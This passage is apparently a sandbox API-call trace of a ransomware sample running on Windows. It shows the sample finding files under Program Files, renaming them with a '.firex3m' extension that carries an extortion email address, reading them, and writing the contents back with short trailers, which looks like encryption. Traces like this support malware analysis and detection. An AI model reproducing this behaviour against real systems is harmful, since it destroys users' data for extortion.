lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7bd7ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7bd7ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a7e39eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TRDTV2~1.FIR")) returned 0x6d5200 [0244.577] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0244.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0244.577] GetProcessHeap () returned 0x630000 [0244.577] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6c61) returned 0x7224598 [0244.577] GetProcessHeap () returned 0x630000 [0244.577] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6c61) returned 0x7393dd0 [0244.578] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.578] ReadFile (in: hFile=0x648, lpBuffer=0x7224598, nNumberOfBytesToRead=0x6c40, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7224598*, lpNumberOfBytesRead=0x46fff0c*=0x6c40, lpOverlapped=0x0) returned 1 [0248.704] GetProcessHeap () returned 0x630000 [0248.704] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0248.704] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.704] WriteFile (in: hFile=0x648, lpBuffer=0x7393dd0*, nNumberOfBytesToWrite=0x6c40, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7393dd0*, lpNumberOfBytesWritten=0x46fff0c*=0x6c40, lpOverlapped=0x0) returned 1 [0248.704] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.704] WriteFile (in: hFile=0x648, lpBuffer=0x739aa0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x739aa0f*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0248.705] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.705] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0248.705] CloseHandle (hObject=0x648) returned 1 [0248.705] GetProcessHeap () returned 0x630000 [0248.705] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7393dd0 | out: hHeap=0x630000) returned 1 [0248.979] GetProcessHeap () returned 0x630000 [0248.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7224598 | out: hHeap=0x630000) returned 1 [0248.979] GetProcessHeap () returned 0x630000 [0248.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0249.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7bd7ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7bd7ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a306999, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6c66, dwReserved0=0xb407496, dwReserved1=0x7224590, cFileName="trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TRDTV2~1.FIR")) returned 0x6d5380 [0249.143] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0249.143] Sleep (dwMilliseconds=0x1) [0249.163] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\StatsLogo.png", len=0x63 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\StatsLogo.png") returned 1 [0249.163] GetProcessHeap () returned 0x630000 [0249.163] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e68) returned 0x6fe3bb0 [0249.163] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\StatsLogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\statslogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.231] Sleep (dwMilliseconds=0x1) [0249.254] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_TileWide.scale-100.png", len=0x8b | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_TileWide.scale-100.png") returned 1 [0249.254] GetProcessHeap () returned 0x630000 [0249.254] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e34) returned 0x6fe3bb0 [0249.254] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_TileWide.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\sports_tilewide.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.256] Sleep (dwMilliseconds=0x1) [0249.265] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.targetsize-48.png", len=0x90 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.targetsize-48.png") returned 1 [0249.265] GetProcessHeap () returned 0x630000 [0249.265] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e20) returned 0x6fe3bb0 [0249.266] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\sports_logosmall.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.266] Sleep (dwMilliseconds=0x1) [0249.292] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\PREVIEW.GIF", len=0x6c | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\PREVIEW.GIF") returned 1 [0249.292] GetProcessHeap () returned 0x630000 [0249.292] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4de8) returned 0x6fe3bb0 [0249.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0249.292] CloseHandle (hObject=0x6c0) returned 1 [0249.293] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.293] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.294] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.294] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5380 [0249.294] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0249.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0249.294] GetProcessHeap () returned 0x630000 [0249.294] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x401) returned 0x745c8a0 [0249.294] GetProcessHeap () returned 0x630000 [0249.295] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x401) returned 0x699eb0 [0249.295] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.295] ReadFile (in: hFile=0x6c0, lpBuffer=0x745c8a0, nNumberOfBytesToRead=0x3e0, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x745c8a0*, lpNumberOfBytesRead=0x46fff0c*=0x3e0, lpOverlapped=0x0) returned 1 [0249.377] GetProcessHeap () returned 0x630000 [0249.377] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0249.378] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.378] WriteFile (in: hFile=0x6c0, lpBuffer=0x699eb0*, nNumberOfBytesToWrite=0x3e0, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x699eb0*, lpNumberOfBytesWritten=0x46fff0c*=0x3e0, lpOverlapped=0x0) returned 1 [0249.378] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.378] WriteFile (in: hFile=0x6c0, lpBuffer=0x69a28f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x69a28f*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0249.378] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.378] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0249.378] CloseHandle (hObject=0x6c0) returned 1 [0249.378] GetProcessHeap () returned 0x630000 [0249.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699eb0 | out: hHeap=0x630000) returned 1 [0249.378] GetProcessHeap () returned 0x630000 [0249.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745c8a0 | out: hHeap=0x630000) returned 1 [0249.378] GetProcessHeap () returned 0x630000 [0249.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0249.378] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.378] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a96f07f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x415, dwReserved0=0xb407496, dwReserved1=0x745c898, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4e00 [0249.379] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0249.379] Sleep (dwMilliseconds=0x1) [0249.395] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\SKY.ELM", len=0x66 | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\SKY.ELM") returned 1 [0249.395] GetProcessHeap () returned 0x630000 [0249.395] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ddc) returned 0x6fe3bb0 [0249.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\SKY.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\sky.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0249.404] CloseHandle (hObject=0x620) returned 1 [0249.404] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.404] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\SKY.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\sky.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\SKY.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\sky.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.407] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.407] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\SKY.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="SKY.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKYELM~1.FIR")) returned 0x6d5440 [0249.408] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0249.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\SKY.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\sky.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0249.410] GetProcessHeap () returned 0x630000 [0249.410] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x752b200 [0249.411] GetProcessHeap () returned 0x630000 [0249.411] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7536630 [0249.411] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.411] ReadFile (in: hFile=0x678, lpBuffer=0x752b200, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x752b200*, lpNumberOfBytesRead=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0255.184] GetProcessHeap () returned 0x630000 [0255.184] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0255.185] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.185] WriteFile (in: hFile=0x678, lpBuffer=0x7536630*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7536630*, lpNumberOfBytesWritten=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0255.185] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.185] WriteFile (in: hFile=0x678, lpBuffer=0x7541a2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7541a2f*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0255.185] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.185] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0255.186] CloseHandle (hObject=0x678) returned 1 [0255.186] GetProcessHeap () returned 0x630000 [0255.186] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7536630 | out: hHeap=0x630000) returned 1 [0255.186] GetProcessHeap () returned 0x630000 [0255.186] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x752b200 | out: hHeap=0x630000) returned 1 [0255.186] GetProcessHeap () returned 0x630000 [0255.186] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0255.186] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.186] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\SKY.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e0d5f10, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x14161, dwReserved0=0xb407496, dwReserved1=0x752b1f8, cFileName="SKY.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKYELM~1.FIR")) returned 0x6d51c0 [0255.187] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0255.187] Sleep (dwMilliseconds=0x1) [0256.239] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\INDUST.INF", len=0x6c | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\INDUST.INF") returned 1 [0256.239] GetProcessHeap () returned 0x630000 [0256.239] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cf8) returned 0x6fe3bb0 [0256.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\indust.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0257.169] CloseHandle (hObject=0x430) returned 1 [0257.169] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\indust.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\INDUST.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\indust.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.178] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\INDUST.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b5591d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="INDUST.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDUST~1.FIR")) returned 0x6d5200 [0257.178] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0257.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\INDUST.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\indust.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 